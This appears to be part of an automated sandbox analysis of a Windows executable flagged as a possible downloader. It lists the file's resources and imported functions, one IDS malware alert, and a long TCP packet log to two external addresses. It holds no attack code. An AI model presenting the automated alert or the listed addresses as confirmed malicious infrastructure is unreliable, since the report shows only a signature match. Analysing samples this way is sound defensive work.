| RT_ICON | 0x3d4448 | 0x10828 | Device independent bitmap graphic, 128 x 256 x 32, image size 67584 | English | United States | 0.2851798178161599 |
| RT_ICON | 0x3e4c70 | 0xb85c | PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced | English | United States | 0.9977328587168404 |
| RT_ICON | 0x3f04d0 | 0x4228 | Device independent bitmap graphic, 64 x 128 x 32, image size 16896 | English | United States | 0.4055857345299953 |
| RT_ICON | 0x3f46f8 | 0x25a8 | Device independent bitmap graphic, 48 x 96 x 32, image size 9600 | English | United States | 0.48091286307053943 |
| RT_ICON | 0x3f6ca0 | 0x10a8 | Device independent bitmap graphic, 32 x 64 x 32, image size 4224 | English | United States | 0.6081144465290806 |
| RT_ICON | 0x3f7d48 | 0xea8 | Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors | English | United States | 0.5914179104477612 |
| RT_ICON | 0x3f8bf0 | 0x988 | Device independent bitmap graphic, 24 x 48 x 32, image size 2400 | English | United States | 0.6864754098360656 |
| RT_ICON | 0x3f9578 | 0x8a8 | Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors | English | United States | 0.7044223826714802 |
| RT_ICON | 0x3f9e20 | 0x668 | Device independent bitmap graphic, 48 x 96 x 4, image size 1152 | English | United States | 0.4371951219512195 |
| RT_ICON | 0x3fa488 | 0x568 | Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors | English | United States | 0.5173410404624278 |
| RT_ICON | 0x3fa9f0 | 0x468 | Device independent bitmap graphic, 16 x 32 x 32, image size 1088 | English | United States | 0.8156028368794326 |
| RT_ICON | 0x3fae58 | 0x2e8 | Device independent bitmap graphic, 32 x 64 x 4, image size 512 | English | United States | 0.5255376344086021 |
| RT_ICON | 0x3fb140 | 0x128 | Device independent bitmap graphic, 16 x 32 x 4, image size 128 | English | United States | 0.6418918918918919 |
| RT_DIALOG | 0x3fb268 | 0x120 | data | English | United States | 0.5138888888888888 |
| RT_DIALOG | 0x3fb388 | 0x11c | data | English | United States | 0.6056338028169014 |
| RT_DIALOG | 0x3fb4a8 | 0xc4 | data | English | United States | 0.5918367346938775 |
| RT_DIALOG | 0x3fb570 | 0x60 | data | English | United States | 0.7291666666666666 |
| RT_GROUP_ICON | 0x3fb5d0 | 0xbc | data | English | United States | 0.648936170212766 |
| RT_VERSION | 0x3fb690 | 0x2f0 | SysEx File - IDP | English | United States | 0.4773936170212766 |
| RT_MANIFEST | 0x3fb980 | 0x33e | XML 1.0 document, ASCII text, with very long lines (830), with no line terminators | English | United States | 0.5542168674698795 |
| DLL | Import |
|---|---|
| KERNEL32.dll | SetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW |
| USER32.dll | GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage |
| GDI32.dll | SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor |
| SHELL32.dll | SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW |
| ADVAPI32.dll | AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW |
| COMCTL32.dll | ImageList_Create, ImageList_AddMasked, ImageList_Destroy |
| ole32.dll | OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance |
| Language of compilation system | Country where language is spoken | Map |
|---|---|---|
| English | United States |  |
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library Node| Timestamp | SID | Signature | Severity | Source IP | Source Port | Dest IP | Dest Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2025-01-10T15:16:58.717092+0100 | 2803270 | ETPRO MALWARE Common Downloader Header Pattern UHCa | 2 | 192.168.2.6 | 49917 | 142.250.185.110 | 443 | TCP |
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Jan 10, 2025 15:16:57.652347088 CET | 49917 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:16:57.652378082 CET | 443 | 49917 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:16:57.652453899 CET | 49917 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:16:57.671344995 CET | 49917 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:16:57.671358109 CET | 443 | 49917 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:16:58.330168962 CET | 443 | 49917 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:16:58.330327034 CET | 49917 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:16:58.330996037 CET | 443 | 49917 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:16:58.331101894 CET | 49917 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:16:58.379508018 CET | 49917 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:16:58.379542112 CET | 443 | 49917 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:16:58.379920959 CET | 443 | 49917 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:16:58.380054951 CET | 49917 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:16:58.382975101 CET | 49917 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:16:58.427335024 CET | 443 | 49917 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:16:58.717140913 CET | 443 | 49917 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:16:58.717221022 CET | 49917 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:16:58.717222929 CET | 443 | 49917 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:16:58.717288971 CET | 49917 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:16:58.718558073 CET | 49917 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:16:58.718566895 CET | 443 | 49917 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:16:58.778412104 CET | 49923 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:16:58.778451920 CET | 443 | 49923 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:16:58.778518915 CET | 49923 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:16:58.778876066 CET | 49923 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:16:58.778889894 CET | 443 | 49923 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:16:59.411830902 CET | 443 | 49923 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:16:59.411922932 CET | 49923 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:16:59.415963888 CET | 49923 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:16:59.415978909 CET | 443 | 49923 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:16:59.416311979 CET | 443 | 49923 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:16:59.416383028 CET | 49923 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:16:59.416743994 CET | 49923 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:16:59.463330984 CET | 443 | 49923 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:16:59.858630896 CET | 443 | 49923 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:16:59.858705044 CET | 443 | 49923 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:16:59.858736992 CET | 49923 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:16:59.858778954 CET | 443 | 49923 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:16:59.858789921 CET | 49923 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:16:59.859776974 CET | 49923 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:16:59.880095005 CET | 49923 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:16:59.880127907 CET | 443 | 49923 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:00.012584925 CET | 49935 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:00.012626886 CET | 443 | 49935 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:00.012691021 CET | 49935 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:00.012944937 CET | 49935 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:00.012963057 CET | 443 | 49935 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:01.546298981 CET | 443 | 49935 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:01.546355963 CET | 49935 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:01.548877954 CET | 49935 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:01.548885107 CET | 443 | 49935 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:01.549060106 CET | 49935 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:01.549063921 CET | 443 | 49935 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:01.936170101 CET | 443 | 49935 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:01.936295033 CET | 49935 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:01.936320066 CET | 443 | 49935 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:01.936367035 CET | 49935 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:01.937169075 CET | 443 | 49935 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:01.937212944 CET | 443 | 49935 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:01.937218904 CET | 49935 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:01.937253952 CET | 49935 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:02.026618004 CET | 49935 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:02.026652098 CET | 443 | 49935 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:02.183784008 CET | 49943 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:02.183839083 CET | 443 | 49943 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:02.183902979 CET | 49943 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:02.184434891 CET | 49943 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:02.184453011 CET | 443 | 49943 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:02.822674036 CET | 443 | 49943 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:02.822756052 CET | 49943 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:02.823219061 CET | 49943 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:02.823230028 CET | 443 | 49943 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:02.823394060 CET | 49943 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:02.823400021 CET | 443 | 49943 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:03.279557943 CET | 443 | 49943 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:03.279620886 CET | 443 | 49943 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:03.279632092 CET | 49943 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:03.279639959 CET | 443 | 49943 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:03.279686928 CET | 49943 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:03.279687881 CET | 443 | 49943 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:03.279761076 CET | 49943 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:03.280276060 CET | 49943 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:03.280286074 CET | 443 | 49943 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:03.432161093 CET | 49953 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:03.432240963 CET | 443 | 49953 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:03.432358027 CET | 49953 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:03.432571888 CET | 49953 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:03.432599068 CET | 443 | 49953 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:04.061043978 CET | 443 | 49953 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:04.061392069 CET | 49953 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:04.061877966 CET | 49953 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:04.061907053 CET | 443 | 49953 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:04.062031031 CET | 49953 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:04.062045097 CET | 443 | 49953 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:04.449222088 CET | 443 | 49953 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:04.449321985 CET | 49953 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:04.449358940 CET | 443 | 49953 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:04.449426889 CET | 49953 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:04.449594975 CET | 49953 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:04.449651957 CET | 443 | 49953 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:04.449706078 CET | 49953 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:04.462585926 CET | 49960 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:04.462652922 CET | 443 | 49960 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:04.462765932 CET | 49960 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:04.463093042 CET | 49960 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:04.463109016 CET | 443 | 49960 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:05.116652012 CET | 443 | 49960 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:05.116729975 CET | 49960 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:05.117101908 CET | 49960 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:05.117115021 CET | 443 | 49960 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:05.117258072 CET | 49960 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:05.117265940 CET | 443 | 49960 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:05.560074091 CET | 443 | 49960 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:05.560143948 CET | 443 | 49960 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:05.560203075 CET | 443 | 49960 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:05.560244083 CET | 49960 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:05.560244083 CET | 49960 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:05.560281038 CET | 49960 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:05.560906887 CET | 49960 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:05.560961008 CET | 443 | 49960 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:05.560992002 CET | 49960 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:05.561014891 CET | 49960 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:05.684003115 CET | 49967 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:05.684098005 CET | 443 | 49967 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:05.684189081 CET | 49967 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:05.684488058 CET | 49967 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:05.684523106 CET | 443 | 49967 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:06.314043045 CET | 443 | 49967 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:06.314121962 CET | 49967 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:06.314826012 CET | 443 | 49967 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:06.314892054 CET | 49967 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:06.316587925 CET | 49967 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:06.316600084 CET | 443 | 49967 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:06.316854954 CET | 443 | 49967 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:06.316909075 CET | 49967 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:06.317298889 CET | 49967 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:06.359338045 CET | 443 | 49967 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:06.788703918 CET | 443 | 49967 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:06.788803101 CET | 49967 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:06.788959026 CET | 49967 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:06.788995028 CET | 443 | 49967 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:06.789155960 CET | 443 | 49967 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:06.789232016 CET | 49967 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:06.789232016 CET | 49967 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:06.799770117 CET | 49977 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:06.799827099 CET | 443 | 49977 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:06.799907923 CET | 49977 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:06.800117970 CET | 49977 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:06.800132990 CET | 443 | 49977 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:07.441376925 CET | 443 | 49977 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:07.441450119 CET | 49977 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:07.441900015 CET | 49977 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:07.441909075 CET | 443 | 49977 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:07.442059994 CET | 49977 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:07.442069054 CET | 443 | 49977 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:07.896773100 CET | 443 | 49977 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:07.896837950 CET | 49977 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:07.896847010 CET | 443 | 49977 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:07.896861076 CET | 443 | 49977 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:07.896889925 CET | 49977 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:07.896914005 CET | 49977 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:07.896922112 CET | 443 | 49977 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:07.896934986 CET | 443 | 49977 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:07.896967888 CET | 49977 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:07.896985054 CET | 49977 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:07.897583961 CET | 49977 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:07.897598028 CET | 443 | 49977 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:08.025824070 CET | 49985 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:08.025871038 CET | 443 | 49985 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:08.025990963 CET | 49985 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:08.026267052 CET | 49985 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:08.026279926 CET | 443 | 49985 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:08.657541037 CET | 443 | 49985 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:08.657627106 CET | 49985 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:08.658324003 CET | 443 | 49985 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:08.658376932 CET | 49985 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:08.659954071 CET | 49985 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:08.659971952 CET | 443 | 49985 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:08.660206079 CET | 443 | 49985 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:08.660259962 CET | 49985 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:08.660538912 CET | 49985 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:08.703342915 CET | 443 | 49985 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:09.055119038 CET | 443 | 49985 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:09.055205107 CET | 443 | 49985 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:09.055246115 CET | 49985 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:09.055278063 CET | 49985 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:09.055490017 CET | 49985 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:09.055510044 CET | 443 | 49985 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:09.066549063 CET | 49992 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:09.066595078 CET | 443 | 49992 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:09.066668987 CET | 49992 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:09.066880941 CET | 49992 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:09.066895008 CET | 443 | 49992 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:09.699069023 CET | 443 | 49992 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:09.699150085 CET | 49992 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:09.699558973 CET | 49992 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:09.699569941 CET | 443 | 49992 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:09.699738979 CET | 49992 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:09.699743032 CET | 443 | 49992 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:10.143338919 CET | 443 | 49992 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:10.143400908 CET | 443 | 49992 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:10.143421888 CET | 49992 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:10.143450022 CET | 443 | 49992 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:10.143466949 CET | 49992 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:10.143466949 CET | 443 | 49992 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:10.143495083 CET | 49992 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:10.143546104 CET | 49992 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:10.144309998 CET | 49992 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:10.144330025 CET | 443 | 49992 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:10.260184050 CET | 49993 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:10.260240078 CET | 443 | 49993 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:10.260339022 CET | 49993 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:10.260663986 CET | 49993 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:10.260674953 CET | 443 | 49993 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:10.908380032 CET | 443 | 49993 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:10.908451080 CET | 49993 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:10.908875942 CET | 49993 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:10.908890963 CET | 443 | 49993 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:10.909064054 CET | 49993 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:10.909070969 CET | 443 | 49993 | 142.250.185.110 | 192.168.2.6 |
